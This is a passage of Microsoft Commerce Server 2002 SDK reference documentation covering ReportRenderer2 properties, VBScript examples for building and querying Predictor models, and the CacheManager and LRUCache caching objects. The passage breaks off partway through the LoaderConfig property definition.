[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] _ReportRenderer2 Object

[Visual Basic] ReportRenderer2 Object


ReportRenderer2::get_ReportDirectory, put_ReportDirectory Property [C++]

ReportRenderer2.ReportDirectory Property [Visual Basic]

This property specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. You can use ReportDirectory only for grouped reports.

Definition

[C++]

Get method:

HRESULT ReportRenderer2::get_ReportDirectory(
 BSTR* ReportDirectory
);

Put method:

HRESULT ReportRenderer2::put_ReportDirectory(
 BSTR* ReportDirectory
);
[Visual Basic]
Property ReportDirectory As String

Parameters

[C++]
ReportDirectory
[in] Pointer to a string containing the new local path of the Business Desk IIS machine.

[out] Pointer to a string containing the current local path of the Business Desk IIS machine.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] _ReportRenderer2 Object

[Visual Basic] ReportRenderer2 Object


ReportRenderer2::get_ReportLocale, put_ReportLocale Property [C++]

ReportRenderer2.ReportLocale Property [Visual Basic]

Describes the locale used for rendering dates in the report header.

Definition

[C++]

Get method:

HRESULT ReportRenderer2::get_ReportLocale(
 BSTR* ReportLocale
);

Put method:

HRESULT ReportRenderer2::put_ReportLocale(
 BSTR* ReportLocale
);

Putref method:

HRESULT ReportRenderer2::putref_ReportLocale(
 BSTR* ReportLocale,
);
[Visual Basic]
Property ReportLocale As String

Parameters

[C++]
ReportLocale
[in] Pointer to a string containing the new locale ID.

[out] Pointer to a string containing the current locale ID.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The default value for the report locale is 1033.

See Also

[C++] _ReportRenderer2 Object

[Visual Basic] ReportRenderer2 Object


Example Code for Business Analysis Objects

This section provides detailed examples of how to use the objects exposed by the Predictor resource. The code samples do not show error checking or certain other formalities required for functional code.

There is no Predictor application programming interface (API) available to create a new model configuration. Tables in the database must be modified directly. For more information and an example, see Predictor Schema.

Examples

Example | Description
Code to Retrieve the Predictor Database Connection String | Describes how to retrieve the database connection string.
Code to Build a New Model | Describes how to build a new model.
Code to Control a Model Build | Describes how to control a model build.
Code to Retrieve a List of Available Models and Model Configurations | Describes how to enumerate the available models and model configurations.
Code to Rename and Delete a Model and a Model Configuration | Describes how to rename and delete a model and a model configuration.
Code to Load a Model and Set Default Properties | Describes how to load a model and set default properties for the model predictions.
Code to Predict Products | Describes how to expose "cross-sell" opportunities in user behavior with regard to product purchases.
Code to Predict User Attributes | Describes how to determine missing profile attributes about a user.
Code to Classify a User | Describes how to classify a user into a behavior or profile-based group.


Code to Retrieve the Predictor Database Connection String

  1. Create a SiteConfigReadOnly object and initialize it for the "Retail" site.
    Dim oSiteConfigReadOnly

Set oSiteConfigReadOnly = _
 Server.CreateObject("Commerce.SiteConfigReadOnly")

oSiteConfigReadOnly.Initialize "Retail"
  2. Retrieve the connection string to the Data Warehouse.
    Dim sDWConnect As String
sDWConnect = oSiteConfigReadOnly.Fields("Global Data Warehouse") _
 .Value.Fields("connstr_db_dw").Value

Set oSiteConfigReadOnly = Nothing


Code to Build a New Model

The following example shows how to build a new prediction model.

  1. Create a dictionary to contain the build parameters.
    Dim dBuildParams As Commerce.Dictionary
Set dBuildParams = Server.CreateObject("Commerce.Dictionary")
  2. Insert the build parameters into the dictionary. All of these parameters have default values and do not need to be specified. The default model type is "prediction". To specify a segment model, set the ModelType to 1.
    dBuildParams("ModelType") = 0
dBuildParams("ComplexityPenalty") = 75
dBuildParams("InputAttributeFraction") = 0.5
dBuildParams("MeasuredAccuracyMaxPredictions") = 10
dBuildParams("MeasuredAccuracySampleFraction") = 0.2
dBuildParams("MinimumCasesToSplit") = 10
dBuildParams("OutputAttributeFraction") = .5
dBuildParams("SampleSize") = 15,000
  3. Create an object to convert the dictionary into an Extensible Markup Language (XML) string containing the build parameters. The IPersistXML interface is not available through Microsoft Visual Basic Scripting Edition (VBScript).
    Dim oPersistXML As IPersistXML
Set oPersistXML = dBuildParams

Dim sXMLBuildParams As String
sXMLBuildParams = oPersistXML.SaveXML(0)

Set oPersistXML = Nothing
Set dBuildParams = Nothing
  4. Create the PredModelBuilder object.
    Dim oPredModelBuilder As Commerce.PredictorModelBuilder
Set oPredModelBuilder = _
 Server.CreateObject("Commerce.PredictorModelBuilder")
  5. Using the connection string, sDWConnect, retrieved in Code to Retrieve the Database Connection String, and the name of the model configuration, PurchaseCfg1, created in Predictor Schema Example, start the build for a new model named Purchase1. The value, lBuildID, returned by the Start method, is used to access the build thread while it is running or paused.
    Dim lBuildID
lBuildID = oPredModelBuilder.Start(sDWConnect, "", _
 "PurchaseCfg1", "Purchase1", sXMLBuildParams, True)
  6. Release the objects.
    Set oPersistXML = Nothing
Set dBuildParams = Nothing
Set oPredModelBuilder = Nothing


Code to Control a Model Build

This section shows how to retrieve the status of a build, and how to pause, resume, and stop the build. Additionally, the priority of the build is retrieved and then increased.

  1. Using the PredModelBuilder object, oPredModelBuilder, check the status of the build thread, lBuildID, started in Code to Build a New Model. For information on the enumerated build states, see PredModelBuilder.Status.
    Response.Write "Build " & lBuildID & " is "
Select Case oPredModelBuilder.Status(lBuildID)
Case PredBldRunning
Response.Write "Running <P>"
Case PredBldPaused
Response.Write "Paused <P>"
Case PredBldShuttingDown
Response.Write "ShuttingDown <P>"
Case Else
Response.Write "No status <P>"
End Select
  2. Assume the build is running. Pause the build.
    If oPredModelBuilder.Status(lBuildID) = PredBldRunning Then
oPredModelBuilder.Pause(lBuildID)
End If
  3. Resume the paused build.
    If oPredModelBuilder.Status(lBuildID) = PredBldPaused Then
oPredModelBuilder.Resume(lBuildID)
End If
  4. Check the priority of the build. For information about the enumerated build priorities, see PredModelBuilder.Priority .
    Dim ePriority
ePriority = oPredModelBuilder.Priority(lBuildID)

Response.Write "Build " & lBuildID & " has a priority of "
Select Case ePriority
Case PriLowest
Response.Write "PriLowest <P>"
Case PriBelowNormal
Response.Write "PriBelowNormal <P>"
Case PriNormal
Response.Write "PriNormal <P>"
Case PriAboveNormal
Response.Write "PriAboveNormal <P>"
Case PriHighest
Response.Write "PriHighest <P>"
Case Else
Response.Write "Bad Priority <P>"
End Select
  5. Increase the priority of the build.
    If ePriority <> PriHighest Then
ePriority = ePriority + 1
End If
  6. Stop the build.
    If oPredModelBuilder.Status(lBuildID) = PredBldRunning Or _
      oPredModelBuilder.Status(lBuildID) = PredBldPaused Then
oPredModelBuilder.Stop(lBuildID)
End If
  7. Stop all the builds.
    oPredModelBuilder.StopAllBuilds


Code to Retrieve a List of Available Models and Model Configurations

  1. Create the PredictorServiceAdmin object.
    Dim oPredictorServiceAdmin
Set oPredictorServiceAdmin = _
 Server.CreateObject("Commerce.PredictorServiceAdmin")

Response.Write "The date the Predictor Service was last started = " _
 & oPredictorServiceAdmin.dateLastStarted & "<P>"
  2. Retrieve and enumerate the list of available model configurations.
    Response.Write "The number of model configurations = " & _
 oPredictorServiceAdmin.slModelConfigs.Count & "<BR>"

Dim oDict
For Each oDict In oPredictorServiceAdmin.slModelConfigs
Response.Write oDict("ModelCfgName") & "<BR>"
Next
  3. Retrieve and enumerate the list of available models.
    Response.Write "The number of models = " & _
 oPredictorServiceAdmin.slModels.Count & "<BR>"

For Each oDict In oPredictorServiceAdmin.slModels
Response.Write oDict("ModelName") & "<BR>"
Next
  4. Release the object.
    Set oPredictorServiceSiteAdmin = Nothing


Code to Rename and Delete a Model and a Model Configuration

  1. Create the PredictorServiceSiteAdmin object. Note that the name of the object and the ProgID are different.
    Dim oPredictorServiceSiteAdmin
Set oPredictorServiceSiteAdmin = _
 Server.CreateObject("Commerce.PredictorSiteAdmin")
  2. Using the connection string, sDWConnect, retrieved in Code to Retrieve the Database Connection String, initialize the object to the "Retail" site.
    oPredictorServiceSiteAdmin.Init "", sDWConnect
  3. Rename the model configuration, PurchaseCfg1, created in Predictor Schema Example, to PurchaseConfig1.
    oPredictorServiceSiteAdmin.RenameModelConfig "PurchaseCfg1", _
 "PurchaseConfig1"
  4. Rename the model, Purchase1, created in Code to Build a New Model, to OddPurchases.
    oPredictorServiceSiteAdmin.RenameModel "Purchase1", "OddPurchases"
  5. Delete the PurchaseConfig1 model configuration.
    oPredictorServiceSiteAdmin.DeleteModelConfig "PurchaseConfig1"
  6. Delete the OddPurchases model.
    oPredictorServiceSiteAdmin.DeleteModel "OddPurchases"


Code to Load a Model and Set Default Properties

This code is placed in the Global.asa file. The properties are set here to avoid having to explicitly set the values for every Predict method call.

  1. Create a PredictorClient object.
    Dim oPredictorClient
Set oPredictorClient = Server.CreateObject("Commerce.PredictorClient")
  2. Using the connection string, sDWConnect, retrieved in Code to Retrieve the Database Connection String, load the Purchase1 model created in Code to Build a New Model.
    oPredictorClient.LoadModelFromDB "Purchase1", sDWConnect
  3. Set the properties. The bFailOnUnknownInputAttributes property is set to True while debugging the application. This forces the Predict method to fail when information passed to the method is not recognized by the currently loaded model.
    oPredictorClient.bFailOnUnknownInputAttributes = True
oPredictorClient.fpDefaultConfidence = 95
oPredictorClient.fpPopularityPenalty = 0.2
  4. Associate the PredictorClient object with the site to allow performance monitoring to be aggregated over the site.
    oPredictorClient.sSiteName = "Retail"
  5. Release the object.
    Set oPredictorClient = Nothing


Code to Predict Products

  1. Create a Dictionary object and populate it with information on the current user.
    Dim dCurrentCase
Set dCurrentCase = Server.CreateObject("Commerce.Dictionary")

dCurrentCase("UserID") = "someone@microsoft.com"
dCurrentCase("Age") = ""
dCurrentCase("Gender") = "F"
dCurrentCase("ZipCode") = "98052"
dCurrentCase("Education") = ""
  2. Assume a data table represents the products in the shopping basket of the user. The PivotColumn in this table is named "SKU", the AggregateColumn is named "QTY", and the user has two bottles of a product with an SKU equal to "wine_fine_us_zin_202" in his or her basket. Set this information into the current case for the user. The following naming convention is used for sparse properties only (they appear in Type 1 tables). For more information about the properties and tables, see Predictor Schema.
    dCurrentCase("QTY(wine_fine_us_zin_202)") = 2
  3. Assume a different table represents the advertisements the user has clicked on. The PivotColumn in this table is named "URL", the AggregateColumn is named "HitCount", and the user clicked on the indicated URL once. Set this information into the current case for the user.
    dCurrentCase("HitCount(www.roguecellars.com/ad_md)") = 1
  4. Create a SimpleList object and populate it with the properties to predict.
    Dim slPropertiesToPredict
Set slPropertiesToPredict = Server.CreateObject("Commerce.SimpleList")

slPropertiesToPredict.Add("SKU")
  5. Create Variant Safearrays to store the predicted properties and values.
    Dim vsavPredictedProps
Dim vsavPredictedValues
  6. Using the PredictorClient object, oPredictorClient, created in Code to Load a Model and Set Default Properties, and the Purchase1 model loaded in the same section, make a maximum of five predictions.
    oPredictorClient.Predict dCurrentCase, slPropertiesToPredict _
 vsavPredictedProps, vsavPredictedValues, 5
  7. Iterate through the returned predictions.
    Dim i
For i = LBound(vsavPredictedProps) To UBound(vsavPredictedProps)
Response.Write vsavPredictedProps(i) & " = " _
 & vsavPredictedValues(i) & "<BR>"
Next
  8. Release the objects.
    Set dCurrentCase = Nothing
Set slPropertiesToPredict = Nothing


Code to Predict User Attributes

  1. Create a SimpleList object and populate it with the properties to predict.
    Dim slPropertiesToPredict
Set slPropertiesToPredict = Server.CreateObject("Commerce.SimpleList")

slPropertiesToPredict.Add("Age")
slPropertiesToPredict.Add("Education")
  2. Create Variant Safearrays to store the predicted properties and values.
    Dim vsavPredictedProps
Dim vsavPredictedValues
  3. Make the predictions, using the dictionary, dCurrentCase, created and populated with information on the current user in Code to Predict Products, the PredictorClient object, oPredictorClient, created in Code to Load a Model and Set Default Properties, and the Purchase1 model loaded in the same section.
    oPredictorClient.Predict dCurrentCase, slPropertiesToPredict _
 vsavPredictedProps, vsavPredictedValues
  4. Iterate through the returned predictions.
    Dim i
For i = LBound(vsavPredictedProps) To UBound(vsavPredictedProps)
Response.Write vsavPredictedProps(i) & " = " _
 & vsavPredictedValues(i) & "<BR>"
Next
  5. Release the objects.
    Set dCurrentCase = Nothing
Set slPropertiesToPredict = Nothing


Code to Classify a User

This code sample will first determine the most likely segment to which the current user belongs, and then iterate the probabilities associated with the membership of the user in each segment.

  1. Using the PredictorClient object, oPredictorClient, created in Code to Load a Model and Set Default Properties, and the connection string, sDWConnect, retrieved in Code to Retrieve the Database Connection String, load the Demog1 model created in Predictor Schema Example.
    oPredictorClient.LoadModelFromDB "Demog1", sDWConnect
  2. Using the dictionary, dCurrentCase, created in Code to Predict User Attributes, predict the most likely segment.
    Dim sMostLikelySegment
Dim vProbability

sMostLikelySegment = oPredictorClient.PredictMostLikelySegment _
 dCurrentCase, vProbability

Response.Write "Most likely segment is " & sMostLikelySegment & "<BR>"
Response.Write "The probability of membership in this segment is " _
 & vProbability & "<P>"
  3. Create Variant Safearrays to store the segment names and associated membership probabilities.
    Dim vsavSegmentNames
Dim vsavProbabilities
  4. Make the predictions.
    oPredictorClient.PredictAllSegments dCurrentCase, vsavSegmentNames _
 vsavProbabilities
  5. Iterate through the returned predictions.
    Dim i
For i = LBound(vsavSegmentNames) To UBound(vsavSegmentNames)
Response.Write vsavSegmentNames(i) & " - " _
 & vsavProbabilities(i) & "<BR>"
Next


Cache Objects

The Commerce Server caching objects manage the stored profile, catalog, transaction, and campaign data for your site.

The Caching Programming Concepts topic describes the major issues relating to the use of the cache objects.

Objects

Visual Basic reference | C++ invocation | Description
CacheManager | CacheManager | Provides generic caching services.
LRUCache | LRUCache | Provides a least recently used (LRU) cache for the CacheManager object. It stores a limited number of entries and sorts them according to the least recently used element.

Examples

Example | Description
Code to Implement Custom Cache Components | Describes how to implement custom cache components.
Code to Manipulate an LRUCache Object | Describes how to manipulate an LRUCache object.


Caching Programming Concepts

There are two cache objects used by Commerce Server 2002, the CacheManager object and the LRUCache object. This section provides an overview of the programming concepts associated with these objects.

This section contains:

  • CacheManager Object
  • LRUCache Object

CacheManager Object

The CacheManager object is normally created in the Application_OnStart event in the Global.asa file for an Active Server Pages (ASP) application. It uses the services of other Component Object Model (COM) objects called Loader and Writer components, whose job it is to populate caches with data and write data that has been collected in the cache, respectively. Each cache is required to have a Loader component configured, but the Writer component is optional. The CacheManager object is configured by setting the LoaderProgId, LoaderConfig, WriterProgId, and WriterConfig properties for each cache being created.

After one or more caches have been configured in an application, any ASP page in the application can use the GetCache method of the CacheManager object to access the cached data. The type of cache object returned, either a Dictionary object or an LRUCache object, depends on the configuration of the LoaderProgId property for the cache.

The CacheManager object can be configured to automatically refresh each cache periodically, based on the RefreshInterval property. Automatic cache refresh can also be disabled by setting the RefreshInterval property to zero (0), which is the default. The CacheManager object also retries failed load operations after a configurable pause, controlled with the RetryInterval property.

When the CacheManager object refreshes the cache, either from an explicit call to the RefreshCache method or based on the refresh interval expiring, it performs several actions. First, if the cache has been configured with a Writer component, the CacheManager object creates, configures, and executes the Writer component to record performance data collected since the last refresh operation. If the Writer component fails, then the entire refresh operation is aborted. Next, the CacheManager object creates, configures, and executes the specified Loader component to repopulate the cache. A Loader component can be designed such that if it determines that the existing contents of the cache are current, or otherwise sufficient, it can simply return a CACHE_E_NOCACHE_UPDATED message. When the CacheManager object recognizes this return code, it does not replace the existing cache with the newly created one that was passed to the Loader component, and any changes that were made to the new cache object are discarded.

For more information, see CacheManager Object.

LRUCache Object

The LRUCache object is used to support the creation, storage, and retrieval of key/value pairs from a cache. LRUCache objects are similar to Dictionary objects, except that LRUCache objects can only store a limited number of elements. The LRUCache object ranks elements from most-recently-used to least-recently-used. When the LRUCache object is at capacity, it removes the least-recently-used element from the cache and adds the new element. The replacement algorithm used by the LRUCache object is an approximate method that allows the cache size to grow to 110 percent of its maximum size setting. After this limit is reached, the least-recently-used 10 percent of items are removed from the cache.

For more information, see LRUCache Object.


CacheManager Object [C++]

CacheManager Object [Visual Basic]

Use this object to establish and use a collection of data caches. Each data cache is either a Dictionary object or an LRUCache object. You can specify which one you would like to use by setting the CacheObjectProgID property.

ProgID: | Commerce.CacheManager (Externally creatable)
COM Class Name: | CacheManager
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | ICacheManager
Interface ID Constant: | IID_ICacheManager
Header File: | None
[C++]

In C++, use the ICacheManager interface to access the properties and methods of the CacheManager object.

Methods

[C++]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.
[Visual Basic]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.

Properties

[C++]
Property | Type | Description
AppUrl | BSTR | Stores the full URL of the application. This property is read/write.
CacheObjectProgId | BSTR | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | BSTR | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | long | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | long | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | BSTR | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.
[Visual Basic]
Property | Type | Description
AppUrl | String | Stores the full URL of the application. This property is read/write.
CacheObjectProgId | String | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | String | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | long | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | long | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | String | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.

See Also

Core Object Programming Concepts

Code to Implement Custom Cache Components


ICacheManager Methods [C++]

CacheManager Methods [Visual Basic]

Methods

[C++]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.
[Visual Basic]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.

Methods

[C++]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.
[Visual Basic]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.


ICacheManager::GetCache Method [C++]

CacheManager.GetCache Method [Visual Basic]

Use this method to retrieve either the Dictionary or LRUCache object for the specified cache name.

Definition

[C++]
HRESULT ICacheManager::GetCache(
 BSTR bstrName,
 IDispatch** ppdict
);
[Visual Basic]
Function GetCache(
 bstrName As String
) As IDispatch

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the cache to be retrieved.
bstrName [Visual Basic]
A String that contains the name of the cache to be retrieved.
ppdict [C++]
[out,retval] A pointer used to return the IDispatch interface of the data cache Dictionary object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to the data cache Dictionary object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is designed to be lightweight and fast. It is commonly called several times on any given ASP page.

The first time the GetCache method or the RefreshCache method is called, the data cache object is created and the configured CacheLoader component is invoked to populate it with data. Subsequent calls to the GetCache method may return the same cache object or a new cache object that is created when the cache is refreshed.

If the first call to the GetCache method for a particular cache results in a failed refresh, then the CacheManager object will not immediately retry a refresh when more GetCache method calls are made for the same cache. This is to avoid recurring timeouts that might bring down a system, for example if a database connection becomes temporarily unavailable. In this failure scenario, subsequent calls to the GetCache method will return an error indicating that the cache load failed and will not be retried until the refresh interval has elapsed or until the RefreshCache method is explicitly called.

After a cache has successfully been created, if a subsequent refresh of the cache fails, then the existing cache object is returned until a later refresh succeeds. The CacheManager object provides high availability to cache data at the expense of ensuring the cached data is up to date.

Important

  • When CacheManager is first instantiated in a Web application (normally when the first request to the application is received), it starts a background thread that is responsible for the automatic refreshing of caches. The security context of this thread is inherited from the ASP or ASP.NET worker thread at the time it is first created.

    Therefore, caution should be used if you deploy CacheManager in a site that is configured to impersonate users. Care should be used to ensure that the security context of the creating thread is a well-defined context such as the anonymous IIS process account.

[Visual Basic]

Example

'oMyCache is an object
'strMyCacheName is a String containing the name of an existing cache.

Set oMyCache = myCacheManager.GetCache(strMyCacheName)

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::RefreshCache Method [C++]

CacheManager.RefreshCache Method [Visual Basic]

Use this method to force an immediate refresh of a data cache Dictionary object. This method is synchronous, not returning to the caller until the specified data cache is refreshed.

Definition

[C++]
HRESULT ICacheManager::RefreshCache(
 BSTR bstrName
);
[Visual Basic]
Sub RefreshCache(
 bstrName As String
)

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the data cache to be refreshed.
bstrName [Visual Basic]
A String that contains the name of the data cache to be refreshed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the specified cache is in the middle of being refreshed when the RefreshCache method is invoked, presumably by the background timer thread or a different foreground thread, this method will wait until the refresh operation is complete and then return. It will not result in another refresh operation.

[Visual Basic]

Example

'strMyCacheName is a String containing the name of an existing cache.

myCacheManager.RefreshCache(strMyCacheName)

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager Properties [C++]

CacheManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AppUrl | BSTR | Stores the full URL of the application. This property is read/write.
CacheObjectProgId | BSTR | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | BSTR | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | long | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | long | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | BSTR | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.
[Visual Basic]
Property | Type | Description
AppUrl | String | Stores the full URL of the application. This property is read/write.
CacheObjectProgId | String | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | String | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | long | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | long | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | String | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.


ICacheManager::get_AppUrl, put_AppUrl Property [C++]

CacheManager.AppUrl Property [Visual Basic]

The AppUrl property is a read/write string that contains the full URL of the application.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_AppUrl(
 BSTR* AppUrl
);

Put method:

HRESULT ICacheManager::put_AppUrl(
 BSTR AppUrl
);
[Visual Basic]
Property AppUrl() As String

Parameters

AppUrl [C++]
[in] When putting the property, a BSTR that contains the full URL of the application.
[out,retval] When getting the property, a pointer to a BSTR used to return the full URL of the application.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The default value for this property is the URL of the current Internet Information Services (IIS) 5.0 application. Depending on the URL used to access the IIS application the first time after it is started, this URL could contain the special host name "localhost," preventing it from being accessed externally. Therefore, it is best to explicitly set this property to the full URL of the IIS application.

Unlike the other properties of CacheManager object that are set on a per-cache basis, the AppUrl property is a global property. The AppUrl property is generally used to register all of the caches running in a web server farm so that they can be managed without requiring explicit registration by an administrator. The Publish Campaign module in Commerce Server Business Desk is an example of this.

If the cache object is a Dictionary object, then the value of this property is passed to the CacheLoader and CacheWriter objects during each cache refresh. It will be put in the _AppUrl key in the Dictionary object.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_CacheObjectProgId, put_CacheObjectProgId Property [C++]

CacheManager.CacheObjectProgId Property [Visual Basic]

The CacheObjectProgId property is a read/write String that contains the name of the object to be used internally to perform caching functions for this CacheManager object. It also determines the type of object returned by the GetCache method.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_CacheObjectProgId(
  BSTR bstrName,
  BSTR* CacheObjectProgId
);

Put method:

HRESULT ICacheManager::put_CacheObjectProgId(
  BSTR bstrName,
  BSTR CacheObjectProgId
);
[Visual Basic]
Property CacheObjectProgId(
  bstrName As String
) As String

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the cache object.
bstrName [Visual Basic]
A String that contains the name of the cache object.
CacheObjectProgId [C++]
[in] When putting the property, a BSTR that contains the Programmatic Identifier (ProgID) of the cache object.
[out,retval] When getting the property, a pointer to a BSTR used to return the ProgID of the cache object.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The CacheObjectProgId parameter contains valid data only if the property was accessed successfully.

By default, the CacheManager object will have Commerce.Dictionary set as the value for this property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_LoaderConfig, putref_LoaderConfig Property [C++]

CacheManager.LoaderConfig Property [Visual Basic]

The LoaderConfig property is a read/write reference to a Dictionary object that contains configuration information for the Loader component.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_LoaderConfig(
 BSTR bstrName,
 IDispatch** LoaderConfig
);

Put method:

HRESULT ICacheManager::putref_LoaderConfig(
 BSTR bstrName,
 IDispatch* LoaderConfig
);
[Visual Basic]
Property LoaderConfig(
 bstrName As String
